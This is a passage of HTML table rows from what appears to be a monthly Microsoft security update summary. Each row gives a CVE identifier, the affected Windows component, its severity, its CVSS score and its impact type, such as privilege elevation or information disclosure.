  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33842"><span>CVE-2026-33842</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40422"><span>CVE-2026-40422</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41087"><span>CVE-2026-41087</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50473"><span>CVE-2026-50473</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50442"><span>CVE-2026-50442</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50389"><span>CVE-2026-50389</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50456"><span>CVE-2026-50456</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57084"><span>CVE-2026-57084</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57091"><span>CVE-2026-57091</span></a></td>
  <td width="256" class="xl74">Windows File History
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50405"><span>CVE-2026-50405</span></a></td>
  <td width="256" class="xl74">Windows Filtering
  Platform Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49172"><span>CVE-2026-49172</span></a></td>
  <td width="256" class="xl74">Windows FTP Service
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50387"><span>CVE-2026-50387</span></a></td>
  <td width="256" class="xl74">Windows GDI Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54122"><span>CVE-2026-54122</span></a></td>
  <td width="256" class="xl74">Windows GDI+ Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50483"><span>CVE-2026-50483</span></a></td>
  <td width="256" class="xl74">Windows Graphics
  Component Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58609"><span>CVE-2026-58609</span></a></td>
  <td width="256" class="xl74">Windows Graphics
  Component Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50391"><span>CVE-2026-50391</span></a></td>
  <td width="256" class="xl74">Windows Group Policy
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50310"><span>CVE-2026-50310</span></a></td>
  <td width="256" class="xl74">Windows Human
  Interface Device Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50485"><span>CVE-2026-50485</span></a></td>
  <td width="256" class="xl74">Windows Hyper-V Denial
  of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54129"><span>CVE-2026-54129</span></a></td>
  <td width="256" class="xl74">Windows Hyper-V
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50315"><span>CVE-2026-50315</span></a></td>
  <td width="256" class="xl74">Windows Image
  Acquisition Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58534"><span>CVE-2026-58534</span></a></td>
  <td width="256" class="xl74">Windows Input Method
  Editor (IME) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50490"><span>CVE-2026-50490</span></a></td>
  <td width="256" class="xl74">Windows Installer
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58540"><span>CVE-2026-58540</span></a></td>
  <td width="256" class="xl74">Windows Installer
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50425"><span>CVE-2026-50425</span></a></td>
  <td width="256" class="xl74">Windows Internal
  System User Profile Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50293"><span>CVE-2026-50293</span></a></td>
  <td width="256" class="xl74">Windows Internal Task
  Bar Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49167"><span>CVE-2026-49167</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49173"><span>CVE-2026-49173</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54132"><span>CVE-2026-54132</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49795"><span>CVE-2026-49795</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49798"><span>CVE-2026-49798</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49808"><span>CVE-2026-49808</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50354"><span>CVE-2026-50354</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50332"><span>CVE-2026-50332</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50377"><span>CVE-2026-50377</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50390"><span>CVE-2026-50390</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50423"><span>CVE-2026-50423</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50397"><span>CVE-2026-50397</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50436"><span>CVE-2026-50436</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50399"><span>CVE-2026-50399</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50459"><span>CVE-2026-50459</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50477"><span>CVE-2026-50477</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50478"><span>CVE-2026-50478</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50484"><span>CVE-2026-50484</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50673"><span>CVE-2026-50673</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58532"><span>CVE-2026-58532</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50294"><span>CVE-2026-50294</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50316"><span>CVE-2026-50316</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50419"><span>CVE-2026-50419</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">3.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50463"><span>CVE-2026-50463</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50475"><span>CVE-2026-50475</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50429"><span>CVE-2026-50429</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58614"><span>CVE-2026-58614</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58545"><span>CVE-2026-58545</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58602"><span>CVE-2026-58602</span></a></td>
  <td width="256" class="xl74">Windows Kernel-Mode
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50393"><span>CVE-2026-50393</span></a></td>
  <td width="256" class="xl74">Windows Kernel-Mode
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50396"><span>CVE-2026-50396</span></a></td>
  <td width="256" class="xl74">Windows Kernel-Mode
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50378"><span>CVE-2026-50378</span></a></td>
  <td width="256" class="xl74">Windows Key Guard
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50303"><span>CVE-2026-50303</span></a></td>
  <td width="256" class="xl74">Windows Key Guard
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40378"><span>CVE-2026-40378</span></a></td>
  <td width="256" class="xl74">Windows Local Security
  Authority Subsystem Service (LSASS) Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49799"><span>CVE-2026-49799</span></a></td>
  <td width="256" class="xl74">Windows Local Security
  Authority Subsystem Service (LSASS) Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50371"><span>CVE-2026-50371</span></a></td>
  <td width="256" class="xl74">Windows LUA File
  Virtualization Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58544"><span>CVE-2026-58544</span></a></td>
  <td width="256" class="xl74">Windows Management
  Services Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50404"><span>CVE-2026-50404</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50358"><span>CVE-2026-50358</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50336"><span>CVE-2026-50336</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50398"><span>CVE-2026-50398</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50414"><span>CVE-2026-50414</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50379"><span>CVE-2026-50379</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50433"><span>CVE-2026-50433</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50676"><span>CVE-2026-50676</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50677"><span>CVE-2026-50677</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34349"><span>CVE-2026-34349</span></a></td>
  <td width="256" class="xl74">Windows Media
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50394"><span>CVE-2026-50394</span></a></td>
  <td width="256" class="xl74">Windows Media
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50415"><span>CVE-2026-50415</span></a></td>
  <td width="256" class="xl74">Windows Media
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
